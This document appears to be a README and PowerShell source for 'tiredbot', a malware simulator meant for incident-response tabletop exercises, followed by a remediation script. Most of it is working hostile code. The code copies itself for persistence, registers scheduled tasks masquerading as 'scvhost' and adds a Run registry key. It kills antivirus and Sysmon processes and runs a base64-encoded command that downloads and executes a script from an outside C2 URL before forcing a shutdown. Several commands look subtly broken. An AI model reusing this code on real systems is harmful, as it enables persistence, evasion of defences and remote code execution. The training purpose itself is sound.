Tiredbot is designed to be used for tabletop exercises. This program is not malicious however it may execute malicious behaviour. Tiredbot copies itself to 5 temporary locations, has 2 other persistence mechanisms and respawns every 37 minutes. This means that responders have 37 minutes to remediate all of tiredbots artefacts before the infected pc gets *tired*, reboots and is reinfected on start up.

Table Top Exercise (TTX)
The TTX controller should run tiredbot.ps1 on a virtual machine then close the program.
CIRT should then access the VM, investigate and then attempt to control the infection on the VM.
Objective
- Identify 5 tiredbot clones
- Identify 2 persistence mechanisms used by tiredbot
- Decode base64
- Identify C2 url
- Write a script to remediate the infectionÂ
#tiredbot.ps1#
#Add_to_Start_up
$user = (Get-WMIObject -ClassName Win32_ComputerSystem).Username
try {
Copy-Item "./tiredbot.ps1" -Destination "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
Copy-Item "./tiredbot.ps1" -Destination "C:\Users\$user\AppData\Local\Microsoft"
Copy-Item "./tiredbot.ps1" -Destination "C:\temp"
Copy-Item "./tiredbot.ps1" -Destination "C:\"
}
catch { "An error occurred." }
#Create_SchTask
try {
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' `
-Argument '-verb runas -ArgumentList "-file C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\tiredbot.ps1"'
$trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "scvhost" -Description "scvhost daily scheduled task"
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' `
-Argument '-verb runas -ArgumentList "-file C:\Users\$user\AppData\Local\Microsoft\tiredbot.ps1"'
$trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "scvhost" -Description "scvhost daily scheduled task"
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' `
-Argument '-verb runas -ArgumentList "-file C:\temp\tiredbot.ps1"'
$trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "scvhost" -Description "scvhost daily scheduled task"
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' `
-Argument '-verb runas -ArgumentList "-file C:\tiredbot.ps1"'
$trigger = New-ScheduledTaskTrigger -Daily -At 9am
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "scvhost" -Description "scvhost daily scheduled task"
}
catch { "An error occurred." }
powershell.exe -EncodedCommand "JAB1AHIAbAAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBhAGwAdwBhAHkAcwAtAHQAaQAuAHIAZQBkAC8AdABpAHIAZQBkAGIAbwB0AGMAMgAuAHAAcwAxACIADQAKACQAZABlAHMAdAAgAD0AIAAiAGMAOgBcAHQAZQBtAHAAXAB3AGkAbgBkAG8AdwBzAFwAcwBwAGEAdwBuAF
8AdABpAHIAZQBkAGIAbwB0AF8AZgByAG8AbQBfAGMAMgAuAHAAcwAxACIADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBsACAALQBPAHUAdABGAGkAbABlACAAJABkAGUAcwB0AA0ACgBjAGQAIABjADoAXAB0AGUAbQBw
AFwAdwBpAG4AZABvAHcAcwBcAA0ACgAuAFwAcwBwAGEAdwBuAF8AdABpAHIAZQBkAGIAbwB0AF8AZgByAG8AbQBfAGMAMgAuAHAAcwAxAA=="
New-Item -Path Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name tired –Force
Set-Item -Path Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\tired -Value "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\tiredbot.ps1"
#Disable_AV
try {
taskkill /f /im sysmon64.exe
taskkill /f /im confer.exe
taskkill /f /im masvc.exe
taskkill /f /im SemSvc.exe
taskkill /f /im NortonSecurity.exe
taskkill /f /im MgntSvc.exe
taskkill /f /im bdagent.exe
taskkill /f /im Mbam.exe
}
catch { "An error occurred." }
#Timer_Countdown_37_minutes
Start-Sleep -Seconds 2220
Write-Host "**YAAWWWWWWWNNN** I'm Tired! Gooodnight..."
Write-Host "**YAAWWWWWWWNNN** I'm Tired! Gooodnight..."
$i=1
for(;$i -le 10;$i++)
{
Write-Host "zzZZZzzzZZZZzzzzz";
}
Start-Sleep -Seconds 5
Stop-Computer -ComputerName localhost
Solution
- Remove scvhost schedulded task
- Remove HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tired registry key
- Remove tiredbot.ps1 clones:
“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp”
“C:\Users\$user\AppData\Local\Microsoft”
“C:\temp\windows”
“C:\temp”
“C:\”
If anyone of these clones are left on the VM at time of Tired reboot, the asset will be reinfected with all the artefacts.
#Tiredbot Antidote# #Remove_SchTask Unregister-ScheduledTask -TaskName "scvhost" -Confirm:$false #Remove_RegKey Remove-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\tired -Force -Verbose #Remove_Clones Remove-Item -Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\tiredbot.ps1 -Force Remove-Item -Path C:\Users\$user\AppData\Local\Microsoft\tiredbot.ps1 -Force Remove-Item -Path C:\temp\windows\spawn_tiredbot_from_c2.ps1 -Force Remove-Item -Path C:\temp\tiredbot.ps1 -Force Remove-Item -Path C:\tiredbot.ps1 -Force
